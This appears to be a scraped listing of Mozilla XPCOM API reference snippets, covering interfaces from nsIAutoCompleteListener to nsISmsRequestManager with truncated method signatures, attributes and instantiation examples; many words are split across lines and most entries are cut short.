view void setpromptdialogs(in nsiprompt dialogs); methods setpromptdialogs() this method sets a prompt dialog using the given dialog implementation which will be used to display the prompts.
nsIAutoCompleteListener
inherits from: nsisupports last changed in gecko 1.7 method over
view void onautocomplete(in nsiautocompleteresults result, in autocompletestatus status); void onstatus(in wstring statustext); attributes attribute type description param nsisupports private parameter used by the autocomplete widget.
nsIAutoCompleteObserver
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view void onsearchresult(in nsiautocompletesearch search, in nsiautocompleteresult result); void onupdatesearchresult(in nsiautocompletesearch search, in nsiautocompleteresult result); methods onsearchresult() called when a search is complete and the results are ready.
nsIBinaryInputStream
inherits from: nsiinputstream last changed in gecko 1.7 method over
view pruint8 read8(); pruint16 read16(); pruint32 read32(); pruint64 read64(); unsigned long readarraybuffer(in pruint32 alength, in jsval aarraybuffer); prbool readboolean(); void readbytearray(in pruint32 alength, [array, size_is(alength), retval] out pruint8 abytes); void readbytes(in pruint32 alength, [size_is(alength), ret...
nsIBinaryOutputStream
inherits from: nsioutputstream last changed in gecko 1.7 method over
view void setoutputstream(in nsioutputstream aoutputstream); void write8(in pruint8 abyte); void write16(in pruint16 a16); void write32(in pruint32 a32); void write64(in pruint64 a64); void writeboolean(in prbool aboolean); void writebytearray([array, size_is(alength)] in pruint8 abytes, in pruint32 alength); void writebytes(alength)] in string astring, in pruint32 alength); void ...
nsIBrowserBoxObject
the browser.xml binding uses this property to gain access to the webna
vigation, contentdocument, contentwindow, webbrowserfind, webprogress and sessionhistory properties.
nsICRLManager
inherits from: nsisupports last changed in gecko 1.7 method over
view wstring computenextautoupdatetime(in nsicrlinfo info, in unsigned long autoupdatetype, in double noofdays); void deletecrl(in unsigned long crlindex); nsiarray getcrls(); void importcrl([array, size_is(length)] in octet data, in unsigned long length, in nsiuri uri, in unsigned long type, in boolean dosilentdownload, in wstring crlkey); void reschedulecrlautoupdate(); boolean updatecrlfromurl(in wstring url, in wstring key); constants constant value description type_autoupdate_time_based 1 type_autoupdate_freq_based 2 methods computenextautoupdatetime() wstring computenextautoupdatetime(...
nsIChannelEventSink
method over
view void asynconchannelredirect(in nsichannel oldchannel, in nsichannel newchannel, in unsigned long flags, in nsiasyncverifyredirectcallback callback); void onchannelredirect(in nsichannel oldchannel, in nsichannel newchannel, in unsigned long flags); obsolete since gecko 2.0 constants constant value description redirect_temporary 1 << 0 ...
nsIChromeFrameMessageManager
1.0 66 introduced gecko 2.0 inherits from: nsiframemessagemanager last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view void loadframescript(in astring aurl, in boolean aallowdelayedload); void removedelayedframescript(in astring aurl); methods loadframescript() loads a script into the remote frame.
nsIClipboardCommands
inherits from: nsisupports last changed in gecko 1.7 method over
view boolean cancopyimagecontents(); boolean cancopyimagelocation(); boolean cancopylinklocation(); boolean cancopyselection(); boolean cancutselection(); boolean canpaste(); void copyimagecontents(); void copyimagelocation(); void copylinklocation(); void copyselection(); void cutselection(); void paste(); void selectall(); void selectnone(); methods cancopyimagecontents() returns whether we can cop...
nsIClipboardOwner
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method over
view void losingownership(in nsitransferable atransferable); methods losingownership() this method notifies the owner of the clipboard transferable that the transferable is being removed from the clipboard.
nsICommandController
to create an instance, use: var commandcontroller = components.classes["@mozilla.org/embedcomp/base-command-controller;1"] .createinstance(components.interfaces.nsicommandcontroller); method over
view void docommandwithparams(in string command, in nsicommandparams acommandparams); void getcommandstatewithparams( in string command, in nsicommandparams acommandparams); methods docommandwithparams() executes the specified command with a set of parameters contained in an nsicommandparams object.
nsICommandLineRunner
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsicommandline method over
view void init(in long argc, in nscharptrarray argv, in nsifile workingdir, in unsigned long state); void run(); void setwindowcontext(in nsidomwindow awindow); attributes attribute type description helptext autf8string process and combine the help text pro
vided by each command-line handler.
nsICompositionStringSynthesizer
domwindowutils.sendcompositionevent("compositionend", "foo-bar-buzz", ""); starting gecko 36, you can do it simpler: domwindowutils.sendcompositionevent("compositioncommitasis", "", ""); if you need to commit composition with different commit string gecko 36 or later, you can use "compositioncommit": domwindowutils.sendcompositionevent("compositioncommit", "foo-bar-buzz", ""); method over
view void appendclause(in unsigned long alength, in unsigned long aattribute); boolean dispatchevent(); void setcaret(in unsigned long aoffset, in unsigned long alength); void setstring(in astring astring); constants constant value description attr_raw_input 0x02 a clause attribute.
nsIContainerBoxObject
the browser.xml, editor.xml and general.xml bindings use this property to gain access to other properties such as webna
vigation, contentdocument and contentwindow.
nsIController
inherits from: nsisupports last changed in gecko 1.7 method over
view void docommand(in string command); boolean iscommandenabled(in string command); void onevent(in string eventname); boolean supportscommand(in string command); methods docommand() when this method is called, your implementation should execute the command with the specified name.
nsIControllers
to create an instance, use: var controllers = components.classes["@mozilla.org/xul/xul-controllers;1"] .createinstance(components.interfaces.nsicontrollers); method over
view void appendcontroller(in nsicontroller controller); nsicontroller getcontrollerat(in unsigned long index); nsicontroller getcontrollerbyid(in unsigned long controllerid); unsigned long getcontrollercount(); nsicontroller getcontrollerforcommand(in string command); unsigned long getcontrollerid(in nsicontroller controller); void insertcontrollerat(in unsigned long index, in nsicon...
nsIConverterInputStream
to create an instance, use: var converterinputstream = components.classes["@mozilla.org/intl/converter-input-stream;1"] .createinstance(components.interfaces.nsiconverterinputstream); method over
view void init(in nsiinputstream astream, in string acharset, in long abuffersize, in prunichar areplacementchar); constants constant value description default_replacement_character 0xfffd default replacement character value.
nsIConverterOutputStream
to create an instance, use: var converteroutputstream = components.classes["@mozilla.org/intl/converter-output-stream;1"] .createinstance(components.interfaces.nsiconverteroutputstream); method over
view void init(in nsioutputstream aoutstream, in string acharset, in unsigned long abuffersize, in prunichar areplacementcharacter); methods init() initialize this stream.
nsICookie2
the nsicookie2 interface pro
vides information about a cookie, and extends the nsicookie interface.
nsICookieConsent
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method over
view void getconsent(); methods getconsent() gives a decision on what should be done with a cookie, based on a site's p3p policy and the user's preferences.
nsICookieStorage
last changed in gecko 1.7 inherits from: nsisupports method over
view void getcookie(in string acookieurl, in voidptr acookiebuffer, in pruint32ref acookiesize); void setcookie(in string acookieurl, in constvoidptr acookiebuffer, in unsigned long acookiesize); methods getcookie() retrieves a cookie from the browser's persistent cookie store.
nsICurrentCharsetListener
to create an instance, use: var currentcharsetlistener = components.classes["@mozilla.org/intl/currentcharsetlistener;1"] .createinstance(components.interfaces.nsicurrentcharsetlistener); method over
view void setcurrentcharset(in wstring charset); void setcurrentcomposercharset(in wstring charset); void setcurrentmailcharset(in wstring charset); methods setcurrentcharset() void setcurrentcharset( in wstring charset ); parameters charset setcurrentcomposercharset() void setcurrentcomposercharset( in wstring charset ); parameters charset setcurrentmailcharset() void setcurre...
nsICycleCollectorListener
method over
view void begin(); void begindescriptions(); void describegcedobject(in unsigned long long aaddress, in boolean amarked); void describerefcountedobject(in unsigned long long aaddress, in unsigned long aknownedges, in unsigned long atotaledges); void end(); void noteedge(in unsigned long long afromaddress, in unsigned long long atoaddress, in string aedgename); void noteobject(in unsig...
nsIDNSListener
inherits from: nsisupports last changed in gecko 1.7 method over
view void onlookupcomplete(in nsicancelable arequest, in nsidnsrecord arecord, in nsresult astatus); methods onlookupcomplete() called when an asynchronous host lookup completes.
nsIDNSRecord
inherits from: nsisupports last changed in gecko 1.7 method over
view prnetaddr getnextaddr(in pruint16 aport); native code only!
nsIDNSRequest
inherits from: nsisupports last changed in gecko 1.7 method over
view void cancel(); methods cancel() called to cancel a pending asynchronous dns request.
nsIDOMEventGroup
inherits from: nsisupports last changed in gecko 1.7 method over
view boolean issameeventgroup(in nsidomeventgroup other); methods issameeventgroup() reports whether or not another event group is the same as this one.
nsIDOMFileReader
the nsidomfilereader interface pro
vides a way to read data from a file specified by an nsidomfile.
nsIDOMFontFaceList
1.0 66 introduced gecko 7.0 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) method over
view nsidomfontface item(in unsigned long index); attributes attribute type description length unsigned long the number of items in the list.
nsIDOMGeoPositionCallback
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method over
view void handleevent(in nsidomgeoposition position); methods handleevent() called when new position information is available.
nsIDOMGeoPositionErrorCallback
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method over
view void handleevent(in nsidomgeopositionerror position); methods handleevent() called to handle a geolocation error.
nsIDOMGeoPositionOptions
timeout unsigned long maximum time in milliseconds before gi
ving up on an attempt to retrieve location information.
nsIDOMGlobalPropertyInitializer
method over
view jsval init(in nsidomwindow window); methods init() jsval init( in nsidomwindow window ); parameters window the window to which the global property is being attached.
nsIDOMHTMLMediaElement
dom/interfaces/html/nsidomhtmlmediaelement.idlscriptable the basis for the nsidomhtmlaudioelement and nsidomhtml
videoelement interfaces, which in turn implement the <audio> and <
video> html5 elements.
nsIDOMHTMLTimeRanges
last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsisupports method over
view float start(in unsigned long index); float end(in unsigned long index); attributes attribute type description length unsigned long the number of ranges represented by the nsidomhtmltimeranges object.
nsIDOMSerializer
to create an instance, use: var domserializer = components.classes["@mozilla.org/xmlextras/xmlserializer;1"] .createinstance(components.interfaces.nsidomserializer); method over
view void serializetostream(in nsidomnode root, in nsioutputstream stream, in autf8string charset); astring serializetostring(in nsidomnode root); methods serializetostream() the subtree rooted by the specified element is serialized to a byte stream using the character set specified.
nsIDOMStorage
method over
view void clear(); domstring getitem(in domstring key); domstring key(in unsigned long index); void removeitem(in domstring key); void setitem(in domstring key, in domstring data); attributes attribute type description length unsigned long the number of keys stored in the session store.
nsIDOMStorage2
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method over
view void clear(); domstring getitem(in domstring key); domstring key(in unsigned long index); void removeitem(in domstring key); void setitem(in domstring key, in domstring data); attributes attribute type description length unsigned long the number of keys stored in local storage.
nsIDOMStorageEventObsolete
method over
view void initstorageevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in domstring keyarg, in domstring oldvaluearg, in domstring newvaluearg, in domstring urlarg, in nsidomstorage storageareaarg); attributes attribute type description domain domstring the domain of the storage area which changed, or "#session" if the even...
nsIDOMStorageList
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view nsidomstorage nameditem(in domstring domain); methods nameditem() called when the list of available access points changes.
nsIDOMStorageWindow
dom/interfaces/storage/nsidomstoragewindow.idlscriptable this interface pro
vides access to a dom window's client side storage objects.
nsIDOMUserDataHandler
1.0 66 introduced gecko 1.5 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view void handle(in unsigned short operation, in domstring key, in nsivariant data, in nsidomnode src, in nsidomnode dst); constants constant value description node_cloned 1 the node was cloned.
nsIDOMWindow
method over
view nsidomcssstyledeclaration getcomputedstyle(in nsidomelement elt, [optional] in domstring pseudoelt); nsiselection getselection(); void scrollby(in long xscrolldif, in long yscrolldif); void scrollbylines(in long numlines); void scrollbypages(in long numpages); void scrollto(in long xscroll, in long yscroll); void sizetocontent(); ...
nsIDOMXPathEvaluator
to create an instance, use: var domxpathevaluator = components.classes["@mozilla.org/dom/xpath-evaluator;1"] .createinstance(components.interfaces.nsidomxpathevaluator); method over
view nsidomxpathexpression createexpression(in domstring expression, in nsidomxpathnsresolver resolver) nsidomxpathnsresolver creatensresolver(in nsidomnode noderesolver); nsisupports evaluate(in domstring expression, in nsidomnode contextnode, in nsidomxpathnsresolver resolver, in unsigned short type, in nsisupports result) methods createexpression() creates an nsid...
nsIDOMXPathExpression
dom/interfaces/xpath/nsidomxpathexpression.idlscriptable represents a compiled xpath query returned from nsidomxpathevaluator.createexpression or document.createexpression inherits from: nsisupports last changed in gecko 1.7 method over
view nsisupports evaluate(in nsidomnode contextnode, in unsigned short type, in nsisupports result) methods evaluate() evaluate the xpath expression.
nsIDOMXPathResult
dom/interfaces/xpath/nsidomxpathresult.idlscriptable this interface describes an xpath result returned by nsidomxpathevaluator or document.evaluate inherits from: nsisupports last changed in gecko 1.7 method over
view nsidomnode iteratenext(); nsidomnode snapshotitem(in unsigned long index); attributes attribute type description booleanvalue boolean if resulttype is boolean_type, the boolean value.
nsIDOMXULControlElement
dom/interfaces/xul/nsidomxulcontrolelement.idlscriptable pro
vides additional attributes specific to control elements.
nsIDOMXULSelectControlElement
inherits from: nsidomxulcontrolelement last changed in gecko 1.9 (firefox 3) method over
view nsidomxulselectcontrolitemelement appenditem(in domstring label, in domstring value); long getindexofitem(in nsidomxulselectcontrolitemelement item); nsidomxulselectcontrolitemelement getitematindex(in long index); nsidomxulselectcontrolitemelement insertitemat(in long index, in domstring label, in domstring value); nsidomxulselectcontrolitemelement removeitemat(in long index); attributes attribute type description itemcount unsigned long read only.
nsIDataSignatureVerifier
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view boolean verifydata(in acstring adata, in acstring asignature, in acstring apublickey); methods verifydata() verifies that the data matches the data that was used to generate the signature.
nsIDialogCreator
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view void opendialog(in unsigned long atype, in acstring aname, in acstring afeatures, in nsidialogparamblock aarguments, [optional] in nsidomelement aframeelement); constants constant value description unknown_dialog 0 generic_dialog 1 select_dialog 2 methods opendialog() void opendialog( in unsigned long atype, in acstring aname, in acstring afeatures, in nsidialogparamblock aarguments, in nsidomelement aframeelement optional ); parameters atype aname afeatures aarguments aframeelement optional ...
nsIDictionary
method over
view boolean haskey(in string key); void getkeys(out pruint32 count, [retval, array, size_is(count)] out string keys); nsisupports getvalue(in string key); void setvalue(in string key, in nsisupports value); nsisupports deletevalue(in string key); void clear(); methods haskey() check if a given key is present in the dictionary.
nsIDirIndex
description wstring a description for the filename, which should be displayed by a
viewer.
nsIDirIndexListener
they can then be transformed into an output format (such as rdf, html and so on) inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view void onindexavailable(in nsirequest arequest, in nsisupports actxt, in nsidirindex aindex); void oninformationavailable(in nsirequest arequest, in nsisupports actxt, in astring ainfo); methods onindexavailable() called for each directory entry.
init
this content is now available at nsidirectoryser
vice.init().
getFiles
« xpcom api reference summary this method is called by the directory ser
vice to query an enumeration of file or directory locations.
nsIDiskCacheStreamInternal
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view void closeinternal(); methods closeinternal() we use this method internally to close nsdiskcacheoutputstream under the cache ser
vice lock.
nsIDispatchSupport
inherits from: nsisupports last changed in gecko 1.7 method over
view void comvariant2jsval(in comvariantptr comvar, out jsval val); unsigned long gethostingflags(in string acontext); boolean isclassmarkedsafeforscripting(in nscidref cid, out boolean classexists); boolean isclasssafetohost(in jscontextptr cx, in nscidref cid, in boolean capscheck, out boolean classexists); boolean isobjectsafeforscripting(in voidptr theobject, in nsiidref id); void jsval2comvariant(in jsval var, out comvariant comvar); methods comvariant2jsval() converts a com variant to a jsval.
nsIDownload
mimeinfo nsimimeinfo pro
vides the targets relevant mime information, including its mime type, helper application, and whether or not the helper should be executed automatically once the download is complete.
nsIDownloadObserver
inherits from: nsisupports last changed in gecko 1.7 method over
view void ondownloadcomplete(in nsidownloader downloader, in nsirequest request, in nsisupports ctxt, in nsresult status, in nsifile result); methods ondownloadcomplete() called to signal a download that has completed.
nsIDownloader
inherits from: nsistreamlistener last changed in gecko 1.7 method over
view void init(in nsidownloadobserver observer, in nsifile downloadlocation); methods init() initialize this downloader.
nsIEditorBoxObject
the editor.xml binding uses this property to gain access to the webna
vigation, contentdocument, contentwindow, webbrowserfind, editingsession and commandmanager properties.
nsIEditorIMESupport
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view void begincomposition(in nstexteventreplyptr areply); native code only!
nsIEditorLogging
inherits from: nsisupports last changed in gecko 1.7 method over
view void startlogging(in nsifile alogfile); void stoplogging(); methods startlogging() start logging.
nsIEditorObserver
66 introduced gecko 1.0 obsolete gecko 18 inherits from: nsisupports last changed in gecko 1.7 method over
view void editaction(); methods editaction() called after the editor completes a user action.
nsIException
inherits from: nsisupports last changed in gecko 1.7 method over
view string tostring(); attributes attribute type description columnnumber pruint32 valid column numbers begin at 0.
ExtensionManager (Toolkit)
examples here is how to retrive all the extensions installed: var em = cc['@mozilla.org/extensions/manager;1'] .getser
vice(ci.nsiextensionmanager); const nsiupdateitem = ci.nsiupdateitem; var extension_type = nsiupdateitem.type_extension; items = em.getitemlist(extension_type, {}); items.foreach(function(item, index, array) { alert(item.name + " / " + item.id + " version: " + item.version); }); ...
nsIFTPEventSink
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method over
view void onftpcontrollog(in boolean server, in string msg) methods onftpcontrollog allows a consumer to receive a log of the ftp control connection conversation.
nsIFeedElementBase
most derived interfaces pro
vide convenience accessors for their standard fields, so this is only useful when looking for nonstandard fields.
nsIFeedProcessor
to create an instance, use: var feedprocessor = components.classes["@mozilla.org/feed-processor;1"] .createinstance(components.interfaces.nsifeedprocessor); method over
view void parseasync(in nsirequestobserver requestobserver, in nsiuri uri); void parsefromstream(in nsiinputstream stream, in nsiuri uri); void parsefromstring(in astring str, in nsiuri uri); attributes attribute type description listener nsifeedresultlistener the feed result listener that will respond to feed events.
nsIFeedResultListener
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view void handleresult(in nsifeedresult result); methods handleresult() called when feed processing is complete.
nsIFeedTextConstruct
method over
view nsidomdocumentfragment createdocumentfragment(in nsidomelement element); astring plaintext(); attributes attribute type description base nsiuri if the text construct contains html or xhtml, relative references in the content should be resolved against this base uri.
nsIFileURL
netwerk/base/public/nsifileurl.idlscriptable pro
vides access to the underlying nsifile object corresponding to a url.
nsIFrameLoaderOwner
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view [noscript, notxpcom] alreadyaddrefed_nsframeloader getframeloader(); void swapframeloaders(in nsiframeloaderowner aotherowner); attributes attribute type description frameloader nsiframeloader the frame loader owned by this nsiframeloaderowner.
nsIFrameMessageListener
method over
view void receivemessage(); methods receivemessage() note: this method is for javascript only.
nsIHttpUpgradeListener
method over
view void ontransportavailable(in nsisockettransport atransport, in nsiasyncinputstream asocketin, in nsiasyncoutputstream asocketout); methods ontransportavailable() called when an http protocol upgrade attempt is completed, passing in the information needed by the protocol handler to take over the channel that is no longer being used by http.
nsIIFrameBoxObject
the general.xml binding uses this property to gain access to the webna
vigation, contentdocument and contentwindow properties.
nsIINIParserFactory
method over
view nsiiniparser createiniparser(in nsilocalfile ainifile); methods createiniparser() creates an ini parser, returning the nsiiniparser object that you can use to parse it.
nsIInProcessContentFrameMessageManager
1.0 66 introduced gecko 2.0 inherits from: nsicontentframemessagemanager last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view nsicontent getownercontent();
violates the xpcom interface guidelines methods
violates the xpcom interface guidelines getownercontent() nsicontent getownercontent(); parameters none.
nsIInputStreamCallback
inherits from: nsisupports last changed in gecko 1.7 method over
view void oninputstreamready(in nsiasyncinputstream astream); methods oninputstreamready() called to indicate that the stream is either readable or closed.
nsIJumpListItem
method over
view boolean equals(in nsijumplistitem item); attributes attribute type description type short retrieves the jump list item type.
nsILoadGroup
inherits from: nsirequest last changed in gecko 1.7 method over
view void addrequest(in nsirequest arequest, in nsisupports acontext); void removerequest(in nsirequest arequest, in nsisupports acontext, in nsresult astatus); attributes attribute type description activecount unsigned long returns the count of "active" requests (that is requests without the load_background bit set).
nsILocale
inherits from: nsisupports last changed in gecko 1.0 method over
view astring getcategory(in astring category); methods getcategory() retrieves a string with the current locale name.
nsILoginManagerIEMigrationHelper
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view void migrateandaddlogin(in nsilogininfo alogin); methods migrateandaddlogin() takes a login pro
vided from nsieprofilemigrator, migrates it to the current login manager format, and adds it to the list of stored logins.
nsILoginManagerPrompter
to call this ser
vice, use: var loginmanagerprompter = components.classes["@mozilla.org/login-manager/prompter;1"] .getser
vice(components.interfaces.nsiloginmanagerprompter); method over
view void init(in nsidomwindow awindow); void prompttochangepassword(in nsilogininfo aoldlogin, in nsilogininfo anewlogin); void prompttochangepasswordwithusernames([array, size_is(count)] in nsilogininfo logins, in pruint32 count, in nsilogininfo anewlogin); ...
nsIMIMEInputStream
to create an instance, use: var mimeinputstream = components.classes["@mozilla.org/network/mime-input-stream;1"] .createinstance(components.interfaces.nsimimeinputstream); method over
view void addheader(in string name, in string value); void setdata(in nsiinputstream stream); attributes attribute type description addcontentlength boolean when true a "content-length" header is automatically added to the stream.
nsIMenuBoxObject
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) to get access to the box object for a given menu, use code like this: var boxobject = xulmenu.boxobject.queryinterface(components.interfaces.nsimenuboxobject); method over
view boolean handlekeypress(in nsidomkeyevent keyevent); void openmenu(in boolean openflag); attributes attribute type description activechild nsidomelement the currently active menu or menuitem child of the menu box.
nsIMimeHeaders
as a ser
vice: var mimeheaders = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsimimeheaders); method over
view string extractheader([const] in string headername, in boolean getallofthem); void initialize([const] in string allheaders, in long allheaderssize); attributes attribute type description allheaders string rea...
nsIModule
inherits from: nsisupports last changed in gecko 0.9.9 method over
view boolean canunload(in nsicomponentmanager acompmgr); void getclassobject(in nsicomponentmanager acompmgr, in nscidref aclass, in nsiidref aiid, [retval, iid_is(aiid)] out nsqiresult aresult); void registerself(in nsicomponentmanager acompmgr, in nsifile alocation, in string aloaderstr, in string atype); void unregisterself(in nsicomponentmanager acompmgr, in nsifile alocation, in string aloaderstr); methods canunload() this method may be queried to determine whether or not the component modul...
nsIMsgAccount
inherits from: nsisupports last changed in gecko 1.7 method over
view void addidentity(in nsimsgidentity identity); void clearallvalues(); void init(); void removeidentity(in nsimsgidentity identity); astring tostring(); attributes attribute type description defaultidentity nsimsgidentity identities nsisupportsarray read only.
nsIMsgCompFields
« xpcom api reference summary the nsimsgcompfields interface pro
vides properties for an composition of an outgoing message.
nsIMsgFilterCustomAction
array of nsimsgdbhdr objects of messages * @param actionvalue user-set value to use in the action * @param copylistener calling method (filtertype manual only) * @param filtertype type of filter being applied * @param msgwindow message window */ void apply(in nsiarray msghdrs /* nsimsgdbhdr array */, in autf8string actionvalue, in nsimsgcopyser
vicelistener copylistener, in nsmsgfiltertypetype filtertype, in nsimsgwindow msgwindow); /* does this action start an async action?
nsIMsgIdentity
inherits from: nsisupports method over
view void clearallvalues(); void copy(in nsimsgidentity identity); astring getunicharattribute(in string name); void setunicharattribute(in string name, in astring value); acstring getcharattribute(in string name); void setcharattribute(in string name, in acstring value); boolean getboolattribute(in string name); void setboolattribute(in string name, in boolean value); long getintattribute(in string name); void setintattribute(in...
nsIMsgProtocolInfo
method over
view long getdefaultserverport(in boolean issecure); attributes attribute type description candelete boolean true if an account of this type may be deleted.
nsIMsgSearchSession
searchsession.addscopeterm(components.interfaces.nsmsgsearchscope.offlinemail, afolder); var searchterm = searchsession.createterm(); var value = searchterm.value; value.str = avalue; searchterm.value = value; searchterm.op = searchsession.booleanor; searchterm.booleanand = false; searchsession.appendterm(searchterm); searchsession.search(null); inherits from: nsisupports method over
view void addsearchterm(in nsmsgsearchattribvalue attrib, in nsmsgsearchopvalue op, in nsimsgsearchvalue value, in boolean booleanand, in string arbitraryheader); nsimsgsearchterm createterm(); void appendterm(in nsimsgsearchterm term); void registerlistener(in nsimsgsearchnotify listener); void unregisterlistener(in nsimsgsearchnotify listener); ...
nsIMsgThread
inherits from: nsisupports method over
view void addchild(in nsimsgdbhdr child, in nsimsgdbhdr inreplyto, in boolean threadinthread, in nsidbchangeannouncer announcer); nsimsgdbhdr getchildat(in long index); nsmsgkey getchildkeyat(in long index); nsimsgdbhdr getchild(in nsmsgkey msgkey); nsimsgdbhdr getchildhdrat(in long index); nsimsgdbhdr getroothdr(out long index); void removechildat(in long index); void removechildhdr(in nsimsgdbhdr child, in nsidbchangeannouncer announcer); void markchildread(in boolean bread); nsimsgdbhdr getfirstunreadchild(); nsisimpleenumerator enumeratemessages(in nsmsgkey parent); ...
nsIMsgWindowCommands
method over
view void selectfolder(in acstring folderuri); void selectmessage(in acstring messageuri); void clearmsgpane(); methods selectfolder() this method is called by the backend to change the folder displayed in the message window.
addObserver
this content is now available at nsiobserverser
vice.addobserver().
enumerateObservers
this content is now available at nsiobserverser
vice.enumerateobservers().
notifyObservers
this content is now available at nsiobserverser
vice.notifyobservers().
removeObserver
this content is now available at nsiobserverser
vice.removeobserver().
nsIOutputStreamCallback
inherits from: nsisupports last changed in gecko 1.7 method over
view void onoutputstreamready(in nsiasyncoutputstream astream); methods onoutputstreamready() called to indicate that the stream is either writable or closed.
nsIPermission
this string is specified by the consumer when adding a permission
via nsipermissionmanager read only.
nsIProcess
to create an instance, use: var process = components.classes["@mozilla.org/process/util;1"] .createinstance(components.interfaces.nsiprocess); method over
view void init(in nsifile executable); void initwithpid(in unsigned long pid); obsolete since gecko 1.9.2 void kill(); void run(in boolean blocking, [array, size_is(count)] in string args, in unsigned long count); void runasync([array, size_is(count)] in string args, in unsigned long count, [optional] in nsiobserver observer, [optional] in boolean holdwe...
nsIProcess2
to create an instance, use: var process2 = components.classes["@mozilla.org/process/util;1"] .createinstance(components.interfaces.nsiprocess2); method over
view void runasync([array, size_is(count)] in string args, in unsigned long count, [optional] in nsiobserver observer, [optional] in boolean holdweak); methods runasync() asynchronously runs the process with which the object was initialized, optionally calling an observer when the process finishes running.
nsIProcessScriptLoader
for example: let ppmm = ser
vices.ppmm.getchildat(1); ppmm.loadprocessscript('data:,dump("foo\n");', true); parameters name type description aurl string url for the script to load.
nsIProgrammingLanguage
xpcom/base/nsiprogramminglanguage.idlscriptable this interface pro
vides an enumeration of programming language identifiers.
nsIPropertyBag2
inherits from: nsipropertybag last changed in gecko 1.0 method over
view nsivariant get(in astring prop); acstring getpropertyasacstring(in astring prop); astring getpropertyasastring(in astring prop); autf8string getpropertyasautf8string(in astring prop); boolean getpropertyasbool(in astring prop); double getpropertyasdouble(in astring prop); print32 getpropertyasint32(in astring prop); print64 getpropertyasint64(in astring prop); void getpropertyasinterface(in astring prop, in nsiidref iid, [iid_is(iid), retval] out nsqiresult result); pruint32 getp...
nsIPropertyElement
xpcom/ds/nsipersistentproperties2.idlscriptable this interface pro
vides access to indi
vidual entries within a stringbundle.
nsIRadioInterfaceLayer
to create an instance, use: var radiointerfacelayer = components.classes["@mozilla.org/telephony/system-worker-manager;1"] .getser
vice(components.interfaces.nsiinterfacerequestor) .createinstance(components.interfaces.nsiradiointerfacelayer); method over
view void answercall(in unsigned long callindex); void deactivatedatacall(in domstring cid, in domstring reason); void dial(in domstring number); void enumeratecalls(in nsiriltelephonycallback callback); void getdatacalllist(); unsigned s...
nsIRandomGenerator
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view void generaterandombytes(in unsigned long alength, [retval, array, size_is(alength)] out octet abuffer); methods generaterandombytes() generates the specified amount of random bytes.
nsIRequestObserver
inherits from: nsisupports last changed in gecko 1.0 method over
view void onstartrequest(in nsirequest arequest, in nsisupports acontext); void onstoprequest(in nsirequest arequest, in nsisupports acontext, in nsresult astatuscode); methods onstartrequest() called to signify the beginning of an asynchronous request.
nsISOCKSSocketInfo
netwerk/socket/nsisockssocketinfo.idlscriptable this interface pro
vides information about a socks socket.
nsISSLErrorListener
method over
view boolean notifysslerror(in nsiinterfacerequestor socketinfo, in print32 error, in autf8string targetsite); methods notifysslerror() called in case of an ssl error.
nsISSLSocketControl
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view void proxystartssl(); void starttls(); attributes attribute type description forcehandshake boolean obsolete since gecko 1.9 notificationcallbacks nsiinterfacerequestor methods proxystartssl() starts an ssl proxy connection.
nsIScreenManager
66 introduced gecko 0.9.5 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/gfx/screenmanager;1 as a ser
vice: var screenmanager = components.classes["@mozilla.org/gfx/screenmanager;1"] .getser
vice(components.interfaces.nsiscreenmanager); method over
view nsiscreen screenfornativewidget( in voidptr nativewidget ); native code only!
nsISearchSubmission
netwerk/base/public/nsibrowsersearchser
vice.idlscriptable please add a summary to this article.
nsISelection3
method over
view void modify(in domstring alter, in domstring direction, in domstring granularity); methods modify() modifies the selection.
nsIServerSocketListener
inherits from: nsisupports last changed in gecko 1.7 method over
view void onsocketaccepted(in nsiserversocket aserv, in nsisockettransport atransport); void onstoplistening(in nsiserversocket aserv, in nsresult astatus); methods onsocketaccepted() this method is called when a client connection is accepted.
nsISmsRequestManager
to create an instance, use: var smsrequestmanager = components.classes["@mozilla.org/sms/smsrequestmanager;1"] .createinstance(components.interfaces.nsismsrequestmanager); method over
